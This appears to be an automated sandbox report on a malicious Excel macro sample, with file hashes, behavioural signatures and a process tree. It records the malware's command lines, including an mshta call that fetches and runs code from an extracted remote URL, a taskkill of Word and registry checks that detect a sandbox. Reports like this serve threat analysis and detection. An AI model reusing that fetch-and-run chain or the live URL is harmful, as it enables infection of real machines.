Analysis
-
max time kernel
133s -
max time network
153s -
platform
windows10-2004_x64 -
resource
win10v2004-20220812-en -
resource tags
arch:x64arch:x86image:win10v2004-20220812-enlocale:en-usos:windows10-2004-x64system -
submitted
16-08-2022 07:46
Behavioral task
behavioral1
Sample
SecuriteInfo.com.Exploit.Siggen3.17149.32408.xls
Resource
win7-20220812-en
Behavioral task
behavioral2
Sample
SecuriteInfo.com.Exploit.Siggen3.17149.32408.xls
Resource
win10v2004-20220812-en
General
-
Target
SecuriteInfo.com.Exploit.Siggen3.17149.32408.xls
-
Size
38KB
-
MD5
8a7129a4a07eaa7327f08f89baa5a4b0
-
SHA1
11b69fdbb82c42566bf8221bcf4c97b554099917
-
SHA256
790051c9d4abb07eaf104f3946dd8e068e41bbc0f14bdb0b174f75b66b16dd4e
-
SHA512
7184a0fc0b35a451f5035117c5b996205dda982388a12bc05fe0588b1442a3f9bd295e6da25cd4d04dc55f16c4ff3a35008e5f629cd703214f01e85ff54c46ab
Malware Config
Extracted
http://facextrade.com.br/wp-includes/certificates/4.txt
Signatures
-
Process spawned unexpected child process 1 IoCs
This typically indicates the parent process was compromised via an exploit or macro.
Processes:
cmd.exedescription pid pid_target process target process Parent C:\Program Files\Microsoft Office\Root\Office16\EXCEL.EXE is not expected to spawn this process 840 3716 cmd.exe EXCEL.EXE -
Blocklisted process makes network request 35 IoCs
Processes:
mshta.exeflow pid process 14 3460 mshta.exe 16 3460 mshta.exe 20 3460 mshta.exe 21 3460 mshta.exe 22 3460 mshta.exe 23 3460 mshta.exe 25 3460 mshta.exe 26 3460 mshta.exe 27 3460 mshta.exe 28 3460 mshta.exe 29 3460 mshta.exe 35 3460 mshta.exe 36 3460 mshta.exe 37 3460 mshta.exe 38 3460 mshta.exe 39 3460 mshta.exe 50 3460 mshta.exe 51 3460 mshta.exe 52 3460 mshta.exe 53 3460 mshta.exe 54 3460 mshta.exe 55 3460 mshta.exe 56 3460 mshta.exe 59 3460 mshta.exe 60 3460 mshta.exe 61 3460 mshta.exe 63 3460 mshta.exe 64 3460 mshta.exe 65 3460 mshta.exe 66 3460 mshta.exe 67 3460 mshta.exe 68 3460 mshta.exe 69 3460 mshta.exe 70 3460 mshta.exe 71 3460 mshta.exe -
Checks processor information in registry 2 TTPs 3 IoCs
Processor information is often read in order to detect sandboxing environments.
Processes:
EXCEL.EXEdescription ioc process Key opened \REGISTRY\MACHINE\Hardware\Description\System\CentralProcessor\0 EXCEL.EXE Key value queried \REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\CentralProcessor\0\~MHz EXCEL.EXE Key value queried \REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\CentralProcessor\0\ProcessorNameString EXCEL.EXE -
Enumerates system info in registry 2 TTPs 3 IoCs
Processes:
EXCEL.EXEdescription ioc process Key opened \REGISTRY\MACHINE\Hardware\Description\System\BIOS EXCEL.EXE Key value queried \REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\BIOS\SystemFamily EXCEL.EXE Key value queried \REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\BIOS\SystemSKU EXCEL.EXE -
Kills process with taskkill 1 IoCs
Processes:
taskkill.exepid process 1976 taskkill.exe -
Runs ping.exe 1 TTPs 1 IoCs
-
Suspicious behavior: AddClipboardFormatListener 1 IoCs
Processes:
EXCEL.EXEpid process 3716 EXCEL.EXE -
Suspicious use of AdjustPrivilegeToken 1 IoCs
Processes:
taskkill.exedescription pid process Token: SeDebugPrivilege 1976 taskkill.exe -
Suspicious use of SetWindowsHookEx 13 IoCs
Processes:
EXCEL.EXEpid process 3716 EXCEL.EXE 3716 EXCEL.EXE 3716 EXCEL.EXE 3716 EXCEL.EXE 3716 EXCEL.EXE 3716 EXCEL.EXE 3716 EXCEL.EXE 3716 EXCEL.EXE 3716 EXCEL.EXE 3716 EXCEL.EXE 3716 EXCEL.EXE 3716 EXCEL.EXE 3716 EXCEL.EXE -
Suspicious use of WriteProcessMemory 10 IoCs
Processes:
EXCEL.EXEcmd.execmd.exedescription pid process target process PID 3716 wrote to memory of 840 3716 EXCEL.EXE cmd.exe PID 3716 wrote to memory of 840 3716 EXCEL.EXE cmd.exe PID 840 wrote to memory of 2004 840 cmd.exe PING.EXE PID 840 wrote to memory of 2004 840 cmd.exe PING.EXE PID 840 wrote to memory of 3872 840 cmd.exe cmd.exe PID 840 wrote to memory of 3872 840 cmd.exe cmd.exe PID 3872 wrote to memory of 1976 3872 cmd.exe taskkill.exe PID 3872 wrote to memory of 1976 3872 cmd.exe taskkill.exe PID 840 wrote to memory of 3460 840 cmd.exe mshta.exe PID 840 wrote to memory of 3460 840 cmd.exe mshta.exe
Processes
-
C:\Program Files\Microsoft Office\Root\Office16\EXCEL.EXE"C:\Program Files\Microsoft Office\Root\Office16\EXCEL.EXE" "C:\Users\Admin\AppData\Local\Temp\SecuriteInfo.com.Exploit.Siggen3.17149.32408.xls"1⤵
- Checks processor information in registry
- Enumerates system info in registry
- Suspicious behavior: AddClipboardFormatListener
- Suspicious use of SetWindowsHookEx
- Suspicious use of WriteProcessMemory
-
C:\Windows\SYSTEM32\cmd.execmd /c ping -n 8 127.0.0.1 & %public%\Outlook.bat exit2⤵
- Process spawned unexpected child process
- Suspicious use of WriteProcessMemory
-
C:\Windows\system32\PING.EXEping -n 8 127.0.0.13⤵
- Runs ping.exe
-
C:\Windows\system32\cmd.execmd /c start /min taskkill /f /im WINWORD.EXE3⤵
- Suspicious use of WriteProcessMemory
-
C:\Windows\system32\taskkill.exetaskkill /f /im WINWORD.EXE4⤵
- Kills process with taskkill
- Suspicious use of AdjustPrivilegeToken
-
C:\Windows\system32\mshta.exemshta http://facextrade.com.br/wp-includes/certificates/4.txt3⤵
- Blocklisted process makes network request
Network
MITRE ATT&CK Matrix ATT&CK v6
Replay Monitor
Loading Replay Monitor...
Downloads
-
C:\Users\Public\Outlook.batFilesize
1KB
MD520484f4a7d41c5f54a0dc7a7d35c2155
SHA10b197c48d648bbdc131dca6d4fb89903303372f9
SHA2566df10dd726cef49360df78c47651a311ea7bb21064fe77e019e223ef32776072
SHA51294df430c3890d5ba23618283ea6eaa6aa0c74d19c5e049f3cc4d65a464266ccc2eefccdb59d6464606200b2e51cdc9b57c2534c67aded228d00a54d856c98591
-
memory/840-139-0x0000000000000000-mapping.dmp
-
memory/1976-143-0x0000000000000000-mapping.dmp
-
memory/2004-140-0x0000000000000000-mapping.dmp
-
memory/3460-144-0x0000000000000000-mapping.dmp
-
memory/3716-137-0x00007FF8ABD50000-0x00007FF8ABD60000-memory.dmpFilesize
64KB
-
memory/3716-138-0x00007FF8ABD50000-0x00007FF8ABD60000-memory.dmpFilesize
64KB
-
memory/3716-136-0x00007FF8AE4F0000-0x00007FF8AE500000-memory.dmpFilesize
64KB
-
memory/3716-135-0x00007FF8AE4F0000-0x00007FF8AE500000-memory.dmpFilesize
64KB
-
memory/3716-134-0x00007FF8AE4F0000-0x00007FF8AE500000-memory.dmpFilesize
64KB
-
memory/3716-133-0x00007FF8AE4F0000-0x00007FF8AE500000-memory.dmpFilesize
64KB
-
memory/3716-132-0x00007FF8AE4F0000-0x00007FF8AE500000-memory.dmpFilesize
64KB
-
memory/3716-148-0x00007FF8AE4F0000-0x00007FF8AE500000-memory.dmpFilesize
64KB
-
memory/3716-149-0x00007FF8AE4F0000-0x00007FF8AE500000-memory.dmpFilesize
64KB
-
memory/3716-150-0x00007FF8AE4F0000-0x00007FF8AE500000-memory.dmpFilesize
64KB
-
memory/3716-147-0x00007FF8AE4F0000-0x00007FF8AE500000-memory.dmpFilesize
64KB
-
memory/3872-142-0x0000000000000000-mapping.dmp